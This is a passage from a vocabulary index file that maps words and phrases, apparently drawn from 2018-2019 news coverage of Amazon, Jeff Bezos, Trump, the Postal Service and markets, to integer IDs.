"scaremongering": 84916, "retail arena": 84917, "coverage captured": 84918, "amazon hosting": 84919, "past affairs": 84920, "wallis annenberg": 84921, "require recipients": 84922, "biggest scam": 84923, "jugular": 84924, "rag national": 84925, "american life": 84926, "noted david": 84927, "traditional family": 84928, "richsplaining": 84929, "entice readers": 84930, "pipes": 84931, "buenos aires": 84932, "provably": 84933, "poses significant": 84934, "nyse news": 84935, "need personnel": 84936, "mmxviii": 84937, "salute": 84938, "forecast looking": 84939, "usps parcel": 84940, "earnings statement": 84941, "source today": 84942, "birthdays looking": 84943, "despite direct": 84944, "bear head": 84945, "circumvent": 84946, "ties post": 84947, "god king": 84948, "firms google": 84949, "companies stocks": 84950, "ample fodder": 84951, "economy": 84952, "policies fox": 84953, "owns washingtonpost": 84954, "real stuff": 84955, "critiqued specific": 84956, "trump record": 84957, "vlastelica china": 84958, "2018 close": 84959, "dunk": 84960, "force commerce": 84961, "picks moore": 84962, "overseas refugee": 84963, "involving major": 84964, "trying maybe": 84965, "cosmetics tools": 84966, "area set": 84967, "stopped subsidizing": 84968, "nolan talented": 84969, "fraud scandal": 84970, "2811938": 84971, "signed 150": 84972, "stand trump": 84973, "posting happy": 84974, "strip sears": 84975, "administration takes": 84976, "6bn": 84977, "added benefit": 84978, "new neighbors": 84979, "lenovo tumbles": 84980, "k4e setinterval": 84981, "recently marked": 84982, "polite": 84983, "knock bezos": 84984, "families pay": 84985, "features somber": 84986, "partner history": 84987, "new version": 84988, "adopts new": 84989, "computer tablet": 84990, "numerous hot": 84991, "providing customer": 84992, "advocate candidate": 84993, "loadedfully true": 84994, "2017 correspondence": 84995, "apoplectic": 84996, "amazon ring": 84997, "webster groups": 84998, "federal courts": 84999, "today track": 85000, "inflammatory": 85001, "hasan minhaj": 85002, "unpaid commissions": 85003, "ultimate intentions": 85004, "owned lobbyist": 85005, "story consumer": 85006, "class population": 85007, "msnbc hosts": 85008, "military constructionaccounts": 85009, "lockheed": 85010, "north wales": 85011, "decades old": 85012, "built today": 85013, "kennedy stephen": 85014, "aniston recode": 85015, "banks started": 85016, "liberals alike": 85017, "customer orders": 85018, "sock": 85019, "cyberx": 85020, "eroding protections": 85021, "divide oversight": 85022, "800 residents": 85023, "groups opposed": 85024, "email engagement": 85025, "latest tweet": 85026, "decibels normal": 85027, "malek film": 85028, "silence voices": 85029, "situation think": 85030, "develop risk": 85031, "zone designation": 85032, "future attitude": 85033, "trump slogan": 85034, "meager job": 85035, "comcast routinely": 85036, "addition face": 85037, "firms brennan": 85038, "whiners": 85039, "humbug holidays": 85040, "lengthy promotion": 85041, "multiple sources": 85042, "677dp3p5tenxgcpb032d": 85043, "pool parties": 85044, "laughs just": 85045, "techcrunch": 85046, "racked": 85047, "virginia won": 85048, "sparked questions": 85049, "writes cdp": 85050, "tooth yesterday": 85051, "news jerry": 85052, "kearney executive": 85053, "overzicht voor": 85054, "quit iran": 85055, "2002 film": 85056, "time saudi": 85057, "bring key": 85058, "eliminated": 85059, "latest details": 85060, "tom brokaw": 85061, "white elephant": 85062, "ulurp": 85063, "south asia": 85064, "job demand": 85065, "began waging": 85066, "isn say": 85067, "completed client": 85068, "treasure hunt": 85069, "bigger batch": 85070, "daniel morgan": 85071, "steeper increase": 85072, "entertainment venue": 85073, "hcx3zuhjoa": 85074, "dioxide shortage": 85075, "farr yes": 85076, "mccain ariz": 85077, "compatible monitor": 85078, "government services": 85079, "practiced based": 85080, "internet traffic": 85081, "train derails": 85082, "venezuela according": 85083, "negotiations instead": 85084, "local products": 85085, "circuit court": 85086, "corporate took": 85087, "young renters": 85088, "gross merchandise": 85089, "neos 2018": 85090, "george ivanka": 85091, "changing regulation": 85092, "people attention": 85093, "usefulness": 85094, "projected growth": 85095, "ranking stands": 85096, "smoke clears": 85097, "partner software": 85098, "2f9 2f13": 85099, "sam gordy": 85100, "later lockheed": 85101, "news tunisia": 85102, "michaelmc5117": 85103, "virginia credit": 85104, "backs": 85105, "hussein": 85106, "leverage politics": 85107, "obtain incriminating": 85108, "responsibilities led": 85109, "life truth": 85110, "mortals": 85111, "transportation just": 85112, "var b7a": 85113, "ross perry": 85114, "sedition acts": 85115, "blue ribbon": 85116, "fellow republicans": 85117, "company fired": 85118, "sound recongnition": 85119, "final grade": 85120, "diginomica team": 85121, "outlets reported": 85122, "offshore tax": 85123, "uqtam5jevw": 85124, "everybody know": 85125, "stories cast": 85126, "gnrc": 85127, "rq": 85128, "emmanuel macron": 85129, "beer": 85130, "kappafrik": 85131, "employees getting": 85132, "acne products": 85133, "davis right": 85134, "gm public": 85135, "assassinating syrian": 85136, "choir rehearse": 85137, "upscale motorcycle": 85138, "groupthink": 85139, "knack": 85140, "study waves": 85141, "cabinet": 85142, "lutes": 85143, "abilities did": 85144, "focus personally": 85145, "married": 85146, "1992 case": 85147, "disputed summaries": 85148, "lyons jay": 85149, "fb herera": 85150, "lawmakers wrote": 85151, "dollars occasionally": 85152, "women owned": 85153, "itt thing": 85154, "anticipated data": 85155, "want attorney": 85156, "report robert": 85157, "facing appropriate": 85158, "old abortion": 85159, "charge rod": 85160, "nation 2019": 85161, "requiring employees": 85162, "start innovating": 85163, "quoting cfra": 85164, "govcloud region": 85165, "kiss daisy": 85166, "luther pike": 85167, "having hard": 85168, "whoa really": 85169, "bent": 85170, "order earlier": 85171, "barack": 85172, "agencies mentioned": 85173, "draft executive": 85174, "agoraphobia": 85175, "hal brands": 85176, "innocent compared": 85177, "cnn jake": 85178, "frank conversations": 85179, "staged walkout": 85180, "llazar": 85181, "trump regime": 85182, "sen christopher": 85183, "mind eye": 85184, "ho": 85185, "technologies scs": 85186, "25thamendment": 85187, "disease deaths": 85188, "america internet": 85189, "streaming company": 85190, "kids customize": 85191, "news getty": 85192, "table phil": 85193, "campaign aides": 85194, "625": 85195, "daniels payment": 85196, "grow amazon": 85197, "anonymous fbzlgr": 85198, "changes patch": 85199, "reported bezos": 85200, "dollar indexrose": 85201, "diarmaid macculloch": 85202, "whatsoever": 85203, "chinatown washington": 85204, "cures twitter": 85205, "usps distribution": 85206, "urges": 85207, "area dark": 85208, "longer matters": 85209, "financial foundations": 85210, "litter": 85211, "media justice": 85212, "eighth year": 85213, "airport wearing": 85214, "doorn 415": 85215, "instagram storyteller": 85216, "heads carpal": 85217, "integrating number": 85218, "camps lack": 85219, "regularly authorize": 85220, "amazon consultants": 85221, "just identified": 85222, "generously offering": 85223, "justices barbara": 85224, "contract": 85225, "verify": 85226, "woodward": 85227, "saint denis": 85228, "giving prominent": 85229, "nice story": 85230, "scrutiny regulators": 85231, "conscience destroying": 85232, "delong nintendo": 85233, "a4ee o1": 85234, "target vulnerable": 85235, "sofi": 85236, "city bus": 85237, "booze continues": 85238, "therapy services": 85239, "aide cliff": 85240, "deliver higher": 85241, "washers dryers": 85242, "investigations criticism": 85243, "vulgar sentiment": 85244, "megan eckstein": 85245, "1994 bezos": 85246, "cetera": 85247, "gaming cowen": 85248, "toronto submitted": 85249, "count heads": 85250, "purported": 85251, "costco stores": 85252, "goods brought": 85253, "nazi anti": 85254, "congresswoman tells": 85255, "consumers delrahim": 85256, "atul gawande": 85257, "t8 c2x": 85258, "bankrupt kind": 85259, "2018 nyse": 85260, "iterative customer": 85261, "rates": 85262, "postal fees": 85263, "headlineplaintext ros\u00e9": 85264, "media reporter": 85265, "utilities commission": 85266, "jillian ward": 85267, "device subscribe": 85268, "graph statista": 85269, "enquirer printed": 85270, "care study": 85271, "fistful": 85272, "temerity": 85273, "handbag lines": 85274, "aims": 85275, "says jolley": 85276, "continued rapid": 85277, "month deputies": 85278, "rescue raccoon": 85279, "commerce department": 85280, "land occupied": 85281, "best sun": 85282, "hr training": 85283, "needs students": 85284, "amazon quarter": 85285, "wilderness": 85286, "1150x540 635x367": 85287, "nasa effects": 85288, "model imposed": 85289, "term material": 85290, "time hanukkah": 85291, "partners management": 85292, "start winning": 85293, "amphibs": 85294, "founder larry": 85295, "remember thinking": 85296, "doesn collect": 85297, "fully exhausted": 85298, "000 model": 85299, "ago loading": 85300, "immediate influx": 85301, "mortgage declined": 85302, "gulftimes trade": 85303, "wrapping paper": 85304, "stores blueprint": 85305, "handicrafts": 85306, "weeks yesterday": 85307, "allegedly dated": 85308, "metropolitan statistical": 85309, "tussaud wax": 85310, "amid surging": 85311, "services isn": 85312, "target especially": 85313, "jedi joint": 85314, "payback time": 85315, "hired consultant": 85316, "popular demand": 85317, "frum source": 85318, "house losses": 85319, "guber candidate": 85320, "tough profession": 85321, "future commerce": 85322, "couldn bring": 85323, "presidential powers": 85324, "ceo chip": 85325, "day verdict": 85326, "billion slightly": 85327, "corporate player": 85328, "time reality": 85329, "michael rutger": 85330, "colluded": 85331, "commercial dedicated": 85332, "publisher buys": 85333, "supply community": 85334, "data program": 85335, "cnbc mad": 85336, "fraud probe": 85337, "negotiators agreed": 85338, "continued safe": 85339, "enormous amounts": 85340, "junk": 85341, "firsthand": 85342, "earnings dow": 85343, "apps tend": 85344, "utf task": 85345, "broadcasting group": 85346, "civil war": 85347, "shifting creatures": 85348, "shot yang": 85349, "adieu": 85350, "cementing": 85351, "index report": 85352, "don expect": 85353, "assistant program": 85354, "arboretum cycle": 85355, "seattle dad": 85356, "promised safety": 85357, "consultant temin": 85358, "key investing": 85359, "billion second": 85360, "canada parts": 85361, "helen kennedy": 85362, "fbi criminal": 85363, "make china": 85364, "khalfani": 85365, "volume discounts": 85366, "trump 8217": 85367, "nepalese wonderkid": 85368, "metals plastics": 85369, "really mean": 85370, "jschapiro timesdispatch": 85371, "limp retail": 85372, "just politicians": 85373, "pacs ramp": 85374, "anger disgraced": 85375, "celeste ng": 85376, "don emmert": 85377, "tat": 85378, "award multi": 85379, "joint strike": 85380, "washing": 85381, "begins today": 85382, "including tax": 85383, "sure yes": 85384, "190306": 85385, "drones delivering": 85386, "just buy": 85387, "usps competitive": 85388, "money insurers": 85389, "entrepreneurs anna": 85390, "seconds california": 85391, "aurora": 85392, "common trait": 85393, "blessington marketing": 85394, "enact reforms": 85395, "government service": 85396, "guardian new": 85397, "forthcoming amazon": 85398, "lower": 85399, "mobile operating": 85400, "student attorneys": 85401, "meaningfully address": 85402, "home comprises": 85403, "amazon merch": 85404, "biggest fans": 85405, "metaphorical": 85406, "conversation man": 85407, "custody officials": 85408, "username": 85409, "catalyse": 85410, "trump rejected": 85411, "family donated": 85412, "meet judge": 85413, "restaurant new": 85414, "sales realme": 85415, "course owns": 85416, "partners bloomberg": 85417, "warren proposes": 85418, "terrible tragedy": 85419, "current contracting": 85420, "aggressively marketed": 85421, "big hits": 85422, "titles": 85423, "groups argued": 85424, "federal oversight": 85425, "getting scrutinized": 85426, "bids millions": 85427, "sanchez postmedia": 85428, "enquirer minutes": 85429, "liberal state": 85430, "amazon ambitions": 85431, "apart large": 85432, "characteristics": 85433, "bid provider": 85434, "2018 piece": 85435, "unsatisfactory": 85436, "covfefe": 85437, "selling limited": 85438, "mediocre": 85439, "morally": 85440, "aggressive 132": 85441, "noble bestseller": 85442, "districts democrats": 85443, "lower reuters": 85444, "latest legislation": 85445, "trump upcoming": 85446, "comedic efforts": 85447, "wing folks": 85448, "world trade": 85449, "post recent": 85450, "helped president": 85451, "food items": 85452, "residents": 85453, "meetings pictures": 85454, "g0ts6yvqf9 donald": 85455, "wba ibo": 85456, "effect": 85457, "surveillance tools": 85458, "killing commandatore": 85459, "mark hurd": 85460, "mlb weekly": 85461, "lines ross": 85462, "kidman blossom": 85463, "hbo content": 85464, "facing lawsuit": 85465, "sue chang": 85466, "naval vessel": 85467, "bells": 85468, "records": 85469, "operational efficiency": 85470, "italy france": 85471, "major digital": 85472, "retract": 85473, "mid month": 85474, "privacy breaches": 85475, "fortune nearly": 85476, "including loading": 85477, "cites decline": 85478, "parkland high": 85479, "month walked": 85480, "fewer taxpayers": 85481, "cleverly tweeted": 85482, "market tends": 85483, "takes citizen": 85484, "congratulates republican": 85485, "story isn": 85486, "cinema queen": 85487, "instability washing": 85488, "marine corps": 85489, "raise funds": 85490, "jack kemp": 85491, "previous years": 85492, "tabloid national": 85493, "presidency focuses": 85494, "rob goldstone": 85495, "jewish wing": 85496, "delicate relationship": 85497, "customer puppy": 85498, "ddouglaston nys": 85499, "sabres host": 85500, "authorized maga": 85501, "proposed putting": 85502, "mall owner": 85503, "gary indiana": 85504, "time burst": 85505, "wascompletely complicit": 85506, "having broader": 85507, "sales team": 85508, "yang responded": 85509, "neighborhood pushback": 85510, "trump enraged": 85511, "yelled referring": 85512, "virginia washington": 85513, "bergh view": 85514, "hikes fed": 85515, "questioner wanted": 85516, "good point": 85517, "blasio immediately": 85518, "wellington did": 85519, "editorname": 85520, "paranormal amid": 85521, "immediately implement": 85522, "fda ongoing": 85523, "150bn making": 85524, "magazine american": 85525, "arts entertainment": 85526, "investor says": 85527, "laws prevent": 85528, "slideshow": 85529, "product market": 85530, "amazon salt": 85531, "speaker series": 85532, "anxiety naz": 85533, "week becker": 85534, "files defending_the_one_percent_1": 85535, "ago vitalhub": 85536, "amid grim": 85537, "deferred action": 85538, "critic president": 85539, "arabia national": 85540, "presse": 85541, "amzn expects": 85542, "collecting priorities": 85543, "created aids": 85544, "fast perp": 85545, "people moving": 85546, "loyal": 85547, "america yahoo": 85548, "ice palantir": 85549, "investors expect": 85550, "multinational company": 85551, "demanded rectification": 85552, "961 shares": 85553, "tour guide": 85554, "stolen trade": 85555, "staggering growth": 85556, "providing evidence": 85557, "positive development": 85558, "hideous ool": 85559, "expected clip": 85560, "tumors": 85561, "morning network": 85562, "deal quantity": 85563, "prongay murray": 85564, "roused": 85565, "new benedict": 85566, "elissa taub": 85567, "racy texts": 85568, "licensing agreements": 85569, "including storied": 85570, "tolling design": 85571, "tech concerns": 85572, "literary star": 85573, "scandal amazon": 85574, "regular relationships": 85575, "scaling direct": 85576, "tv court": 85577, "seuss green": 85578, "think yo": 85579, "financial expert": 85580, "embryonic lung": 85581, "feeling right": 85582, "complex half": 85583, "kraft heinz": 85584, "rightwing": 85585, "immiserating policies": 85586, "presence announced": 85587, "verified clean": 85588, "mission impossible": 85589, "actress paired": 85590, "sure wall": 85591, "write letter": 85592, "punish company": 85593, "country position": 85594, "walmart tesla": 85595, "themes artifice": 85596, "ire brazil": 85597, "congress appears": 85598, "fixed spot": 85599, "levying tariffs": 85600, "center aug": 85601, "advertising ag": 85602, "win military": 85603, "introduced tariffs": 85604, "tech robber": 85605, "amazon risked": 85606, "widely recounted": 85607, "advanced driver": 85608, "employees union": 85609, "prosaic": 85610, "expand east": 85611, "oil division": 85612, "watch kate": 85613, "united": 85614, "isn equipped": 85615, "founding dean": 85616, "increasingly willing": 85617, "truthers shariah": 85618, "shit": 85619, "sword": 85620, "sapling": 85621, "want freedom": 85622, "appears ron": 85623, "team thinks": 85624, "domestic spying": 85625, "getty": 85626, "zinke won": 85627, "paul allen": 85628, "thinkrolls photo": 85629, "2001": 85630, "photo mijente": 85631, "publishing graphic": 85632, "friends talk": 85633, "taylor crouched": 85634, "jousting": 85635, "closed hundreds": 85636, "visuals": 85637, "run thousands": 85638, "owns rocketship": 85639, "reconsiders": 85640, "steve womack": 85641, "endured": 85642, "adviser steve": 85643, "highest number": 85644, "2018 elizabeth": 85645, "shouting": 85646, "eps forecast": 85647, "david webb": 85648, "stanley says": 85649, "extant": 85650, "accusing google": 85651, "nationalistic": 85652, "launch precursor": 85653, "nations environmental": 85654, "larry interviews": 85655, "reported 064": 85656, "outpouring": 85657, "tantrums": 85658, "eclipse": 85659, "rainey": 85660, "pupil signed": 85661, "politics 2019": 85662, "thought 2018": 85663, "crowd mean": 85664, "lazarus": 85665, "fucking thing": 85666, "amazon patronizing": 85667, "credit twitter": 85668, "faked obama": 85669, "asshole grinch": 85670, "turkey news": 85671, "granted waivers": 85672, "prepaid": 85673, "drew media": 85674, "locating": 85675, "abboud": 85676, "twitterian revealed": 85677, "objectionable police": 85678, "appointments related": 85679, "munger comments": 85680, "delivering parcels": 85681, "mankiw": 85682, "fiscal conservatives": 85683, "reports self": 85684, "idea employees": 85685, "recent research": 85686, "statements rice": 85687, "la": 85688, "union retaliatory": 85689, "organizations exempt": 85690, "automated profile": 85691, "cows": 85692, "split historically": 85693, "burnadette norris": 85694, "recent softening": 85695, "school send": 85696, "chinese law": 85697, "utilis": 85698, "694 shares": 85699, "albawaba": 85700, "hate crime": 85701, "crn": 85702, "potty": 85703, "mccain shout": 85704, "caterpillar lagged": 85705, "leaders talking": 85706, "caption president": 85707, "williams inside": 85708, "capitalist greg": 85709, "twitter despite": 85710, "incumbent city": 85711, "physicians stay": 85712, "corporate hbi": 85713, "jobs based": 85714, "trek": 85715, "vividly": 85716, "brighter small": 85717, "parts ___": 85718, "placing stalwart": 85719, "upshot": 85720, "monetizing data": 85721, "projected large": 85722, "evelyn emily": 85723, "exploring antitrust": 85724, "arboretum": 85725, "parliament elections": 85726, "bolton 179": 85727, "lobbying": 85728, "video addressing": 85729, "time sponsor": 85730, "email cchurchill": 85731, "investigate potentially": 85732, "addressed amazon": 85733, "apologizes": 85734, "bringing experience": 85735, "marr": 85736, "giant plan": 85737, "emaciated": 85738, "horton nyse": 85739, "year doubled": 85740, "a4ee n0": 85741, "reports amazon": 85742, "fact president": 85743, "drug maker": 85744, "tejal rao": 85745, "price allowing": 85746, "leaders beat": 85747, "summit final": 85748, "2m": 85749, "estimates": 85750, "york cnn": 85751, "bezos annihilated": 85752, "secure votes": 85753, "extreme tariffs": 85754, "wing disinformation": 85755, "extremely disappointed": 85756, "o2x m8": 85757, "econlib org": 85758, "current situation": 85759, "upcoming year": 85760, "morsels walmart": 85761, "nafta": 85762, "theroux star": 85763, "chrysler fortune": 85764, "selling products": 85765, "air travel": 85766, "divided house": 85767, "tweeted images": 85768, "healing powers": 85769, "sr_1_5": 85770, "eric king": 85771, "won stand": 85772, "google multi": 85773, "favorite phrase": 85774, "warring sides": 85775, "bruce greenwood": 85776, "including retail": 85777, "surrendering world": 85778, "family attend": 85779, "estimates majority": 85780, "kuba": 85781, "mark souder": 85782, "delivery time": 85783, "catch q4": 85784, "public land": 85785, "starts early": 85786, "discourage fake": 85787, "ceo similarly": 85788, "community protests": 85789, "collusion donald": 85790, "zdnet": 85791, "offsets": 85792, "government delivered": 85793, "ex twins": 85794, "jolie": 85795, "unlawful counterfeit": 85796, "physique selfie": 85797, "fined close": 85798, "mocked florida": 85799, "message arrives": 85800, "disclosure policy": 85801, "mehlman leading": 85802, "consolation": 85803, "aside harry": 85804, "shares ubs": 85805, "alert nope": 85806, "lp domo": 85807, "lyrics assert": 85808, "winter storm": 85809, "caa": 85810, "bezos aerospace": 85811, "barometer": 85812, "smartphone": 85813, "best values": 85814, "fidelity says": 85815, "stark disapproval": 85816, "existing strong": 85817, "look ahead": 85818, "law amazon": 85819, "john avion": 85820, "sticking point": 85821, "politicians oppose": 85822, "ari": 85823, "middle school": 85824, "used phony": 85825, "citing urbanization": 85826, "judicial scholars": 85827, "outraged little": 85828, "canadian imperial": 85829, "small medium": 85830, "comprising": 85831, "ranger store": 85832, "maryland sues": 85833, "actually doing": 85834, "cnbc jeff": 85835, "trough": 85836, "allegations new": 85837, "clothes gadgets": 85838, "tonight best": 85839, "evade sales": 85840, "government needs": 85841, "bezos visionary": 85842, "test run": 85843, "nook library": 85844, "exposed voter": 85845, "sneaky": 85846, "exchange suggests": 85847, "yap yap": 85848, "ruined farmland": 85849, "chopra office": 85850, "video posted": 85851, "church fires": 85852, "excellent greer": 85853, "unconstrained": 85854, "reached bargain": 85855, "incredibles": 85856, "union billion": 85857, "read jpmorgan": 85858, "2017 usps": 85859, "used sports": 85860, "foreign goods": 85861, "tackling": 85862, "\u014241billion charitable": 85863, "cinema chains": 85864, "descriptiontext experiential": 85865, "tohost amazon": 85866, "queens long": 85867, "balky knees": 85868, "wont": 85869, "unfairly": 85870, "wealth estimate": 85871, "need stronger": 85872, "activists": 85873, "seen stacked": 85874, "play major": 85875, "bard": 85876, "market performance": 85877, "leaders received": 85878, "divert usps": 85879, "packages donald": 85880, "halts rate": 85881, "fidelity international": 85882, "kingdom divorced": 85883, "gartner l2": 85884, "process displayed": 85885, "activity vrtx": 85886, "paying bulk": 85887, "urban org": 85888, "largest corporations": 85889, "historical old": 85890, "key reasons": 85891, "uses plus": 85892, "sundar pichai": 85893, "2018 usps": 85894, "rule making": 85895, "greg": 85896, "ami threats": 85897, "onesies bore": 85898, "reportedly wealthier": 85899, "1548et": 85900, "crime thriller": 85901, "bannon telling": 85902, "general augusto": 85903, "years griffeth": 85904, "american sitcom": 85905, "biotech companies": 85906, "google navigate": 85907, "brkb investors": 85908, "compaq": 85909, "instead implored": 85910, "store closures": 85911, "ransom": 85912, "thing giving": 85913, "world talent": 85914, "hq2 lion": 85915, "rodriguez sent": 85916, "support people": 85917, "trump loathes": 85918, "president falsely": 85919, "attention stream": 85920, "dominate wall": 85921, "condemns": 85922, "cnis7mbbwv": 85923, "llp stated": 85924, "engel longtime": 85925, "organisms gmos": 85926, "past package": 85927, "amazon doubled": 85928, "itthe": 85929, "twitter photo": 85930, "mary harrington": 85931, "employees yes": 85932, "friend don": 85933, "lurking": 85934, "lobbies": 85935, "smaller volume": 85936, "brand schwietzer": 85937, "tried contacting": 85938, "img_gallery_imageref null": 85939, "trump abused": 85940, "war games": 85941, "sensitive data": 85942, "house vanity": 85943, "amazon views": 85944, "business objectives": 85945, "tap room": 85946, "steady consistent": 85947, "morten tyldum": 85948, "second lawsuit": 85949, "coercing": 85950, "unspeakable": 85951, "flies vertically": 85952, "officially separated": 85953, "189 zach": 85954, "forum musk": 85955, "record close": 85956, "loaded rifle": 85957, "course suspected": 85958, "campaign ended": 85959, "shares jassy": 85960, "repeatedly accused": 85961, "ranging conspiracy": 85962, "aoc": 85963, "provoking tensions": 85964, "news weather": 85965, "knausgaard archipelago": 85966, "prevention": 85967, "pentagon ig": 85968, "paper piketty": 85969, "street yesterday": 85970, "european users": 85971, "street fat": 85972, "human conversations": 85973, "grocery line": 85974, "raging": 85975, "approves controversial": 85976, "economy warehouse": 85977, "retailer bezos": 85978, "paulsen": 85979, "segal": 85980, "2013 rubinstein": 85981, "place respectively": 85982, "summoning": 85983, "evidence whatsoever": 85984, "localized": 85985, "nots": 85986, "lifestyles smoking": 85987, "ideas article": 85988, "logistics business": 85989, "lowest recorded": 85990, "sollicitatie van": 85991, "help win": 85992, "presenters": 85993, "help canada": 85994, "christoff": 85995, "shipping threshold": 85996, "eu officials": 85997, "images dylan": 85998, "means consumers": 85999, "web hosting": 86000, "amazon 1161": 86001, "court just": 86002, "niagara haldimand": 86003, "nytimes apologized": 86004, "rajneesh aka": 86005, "ring selfie": 86006, "people speak": 86007, "corporatocracy": 86008, "private physician": 86009, "solely": 86010, "politicians interfere": 86011, "dissolution": 86012, "information looking": 86013, "blocking better": 86014, "subsequently sponsored": 86015, "launchpad": 86016, "reform fox": 86017, "vpx": 86018, "streetcars humming": 86019, "jobs die": 86020, "moving briskly": 86021, "mass market": 86022, "acquisition doug": 86023, "alex day": 86024, "caving": 86025, "significantly dramatically": 86026, "mit": 86027, "toke": 86028, "1990s remembers": 86029, "commissioner term": 86030, "sector customers": 86031, "trying desperately": 86032, "worker program": 86033, "property laws": 86034, "usually delivers": 86035, "putin meet": 86036, "chips": 86037, "company doubling": 86038, "president titled": 86039, "keyboards according": 86040, "dulles airport": 86041, "sells unauthorized": 86042, "book baselessly": 86043, "delivery season": 86044, "garland wizard": 86045, "imported extremely": 86046, "lap": 86047, "1336": 86048, "secretary ben": 86049, "actually purchase": 86050, "wolfs new": 86051, "teachers reached": 86052, "backyard elm": 86053, "helped stocks": 86054, "remains secret": 86055, "mcdonald american": 86056, "compelling sales": 86057, "immigration": 86058, "fine threw": 86059, "granted press": 86060, "allow donald": 86061, "amazon location": 86062, "recruited dozens": 86063, "bring manufacturing": 86064, "york confirmed": 86065, "long leash": 86066, "rendered": 86067, "erroneously stated": 86068, "specific opioids": 86069, "girl drowns": 86070, "monopoly yes": 86071, "make deep": 86072, "just poor": 86073, "publish ck": 86074, "expertly written": 86075, "toy catalog": 86076, "dheeraj pandey": 86077, "delighting customers": 86078, "elections economy": 86079, "cnbc cn": 86080, "roman swamps": 86081, "sanchez accusations": 86082, "amazon rejected": 86083, "ocean cast": 86084, "reported increased": 86085, "buy carry": 86086, "polls": 86087, "collectively referring": 86088, "president miami": 86089, "elected republicans": 86090, "tribweb": 86091, "economic calendar": 86092, "previous ftc": 86093, "f4e pathname": 86094, "ocean township": 86095, "vast sums": 86096, "bunnies duck": 86097, "poor seller": 86098, "single day": 86099, "brooklyn fred": 86100, "tweeting angrily": 86101, "winding interview": 86102, "gregory barela": 86103, "biggest funders": 86104, "delivery giants": 86105, "francisco lawsuit": 86106, "substantial evidence": 86107, "trump criticisms": 86108, "longer deserves": 86109, "automatically qualifies": 86110, "online groceries": 86111, "4657": 86112, "record ira": 86113, "company uses": 86114, "gadget": 86115, "consecutive": 86116, "amazon geography": 86117, "andrew mccabedescribes": 86118, "supercars": 86119, "edward braunstein": 86120, "shooting people": 86121, "reviews congress": 86122, "wrote similar": 86123, "coercion imposed": 86124, "belcher": 86125, "time owned": 86126, "refundable": 86127, "wants lin": 86128, "wage blockchain": 86129, "bezos retail": 86130, "devel": 86131, "cut dramatically": 86132, "salary bonus": 86133, "sophisticated counterfeit": 86134, "agriculture dr": 86135, "international nonprofit": 86136, "ai facebook": 86137, "ads netflix": 86138, "dilettantes": 86139, "tesla private": 86140, "net working": 86141, "post shopware": 86142, "plans disclosure": 86143, "police identify": 86144, "551 196": 86145, "picks nyc": 86146, "jacket just": 86147, "marxist revolutionaries": 86148, "amzn run": 86149, "platform aliexpress": 86150, "deal fell": 86151, "nbc rosalind": 86152, "private office": 86153, "modernist": 86154, "obama apple": 86155, "lapses": 86156, "noble say": 86157, "tech alexa": 86158, "investigator gavin": 86159, "information understand": 86160, "associates roger": 86161, "means possible": 86162, "amazon billion": 86163, "kddi": 86164, "fully possible": 86165, "marc wulfraat": 86166, "largest product": 86167, "tough making": 86168, "helped oversee": 86169, "brand partners": 86170, "1941 attack": 86171, "followed suit": 86172, "army officer": 86173, "dorsey personal": 86174, "action don": 86175, "drone": 86176, "amazon tweet": 86177, "freshly": 86178, "sweeping victories": 86179, "disney movies": 86180, "395": 86181, "lazzaro alice": 86182, "author swift": 86183, "01pm": 86184, "center closest": 86185, "topping views": 86186, "bribed best": 86187, "conditions faced": 86188, "2016 marcio": 86189, "aimed": 86190, "marketplaces researchers": 86191, "nerves 2018": 86192, "element": 86193, "napolitano": 86194, "leading technology": 86195, "financial instability": 86196, "real wool": 86197, "augment world": 86198, "ideological division": 86199, "called shipping": 86200, "thoughtful public": 86201, "trump media": 86202, "disloyal": 86203, "lighthizer treasury": 86204, "gentrification threaten": 86205, "signal buying": 86206, "amazon unfortunately": 86207, "member broward": 86208, "families surface": 86209, "hauled metre": 86210, "separation": 86211, "fagan": 86212, "function ib": 86213, "media technology": 86214, "aluminum producer": 86215, "etsy lunch": 86216, "cnn sues": 86217, "mazza stuart": 86218, "niantic labs": 86219, "think reunion": 86220, "popular streaming": 86221, "globes follow": 86222, "hd marvel": 86223, "global compact": 86224, "latino electorate": 86225, "emphasize corporate": 86226, "scarred": 86227, "bitterly protested": 86228, "francis visit": 86229, "american affairs": 86230, "leader super": 86231, "street style": 86232, "operation entertainment": 86233, "parties perils": 86234, "death feng": 86235, "case trump": 86236, "revoke": 86237, "annual tech": 86238, "mackenzie announce": 86239, "workers think": 86240, "repeated pattern": 86241, "voice assistant": 86242, "passage": 86243, "higher finish": 86244, "records ___": 86245, "refunds issued": 86246, "punish single": 86247, "sixth session": 86248, "articles fed": 86249, "755 000": 86250, "pork josh": 86251, "join thestreet": 86252, "jones transport": 86253, "new batch": 86254, "hurricane impacted": 86255, "wrap reported": 86256, "president emmet": 86257, "imported products": 86258, "newsstand": 86259, "manufacturing sector": 86260, "specialists agency": 86261, "multiply": 86262, "dropped major": 86263, "repeated attacks": 86264, "manafort gates": 86265, "trouble resonating": 86266, "truly fearful": 86267, "ceo ellison": 86268, "better policy": 86269, "votes add": 86270, "mass hysteria": 86271, "889 shares": 86272, "phlx amzn": 86273, "dent know": 86274, "distributor rose": 86275, "brian milligan": 86276, "melchiorre threw": 86277, "net jeff": 86278, "taxes france": 86279, "als research": 86280, "celebrity security": 86281, "watched helplessly": 86282, "daily kos": 86283, "introduced competing": 86284, "smalls jj": 86285, "released today": 86286, "city outside": 86287, "endless sexual": 86288, "apparent amazon": 86289, "upi": 86290, "grisly": 86291, "bening": 86292, "reported decreased": 86293, "mongering": 86294, "modest man": 86295, "songbird": 86296, "terrifyingly timely": 86297, "photo kurt": 86298, "leader recently": 86299, "faced multiple": 86300, "brightest technologically": 86301, "billion making": 86302, "john bolton": 86303, "branches": 86304, "group nyse": 86305, "fix school": 86306, "normally 1500": 86307, "oath ceo": 86308, "shaved": 86309, "leaning cities": 86310, "information sharing": 86311, "writing chapters": 86312, "honor told": 86313, "assassination": 86314, "sport message": 86315, "co2": 86316, "dzubow pilcher": 86317, "flock": 86318, "google moving": 86319, "regulatory agenda": 86320, "head start": 86321, "enquirer just": 86322, "time pointing": 86323, "access patients": 86324, "virginia woolf": 86325, "politicians provide": 86326, "m8i t5q": 86327, "communicate": 86328, "sofia ordonez": 86329, "violator": 86330, "urges chinese": 86331, "717 shares": 86332, "discount website": 86333, "paper owned": 86334, "tie breaker": 86335, "surreal": 86336, "world trailing": 86337, "senator want": 86338, "legitimate legislative": 86339, "mark wilson": 86340, "publicist kacy": 86341, "karl heated": 86342, "shares set": 86343, "coast shipping": 86344, "piles": 86345, "networking site": 86346, "children left": 86347, "benito": 86348, "strict police": 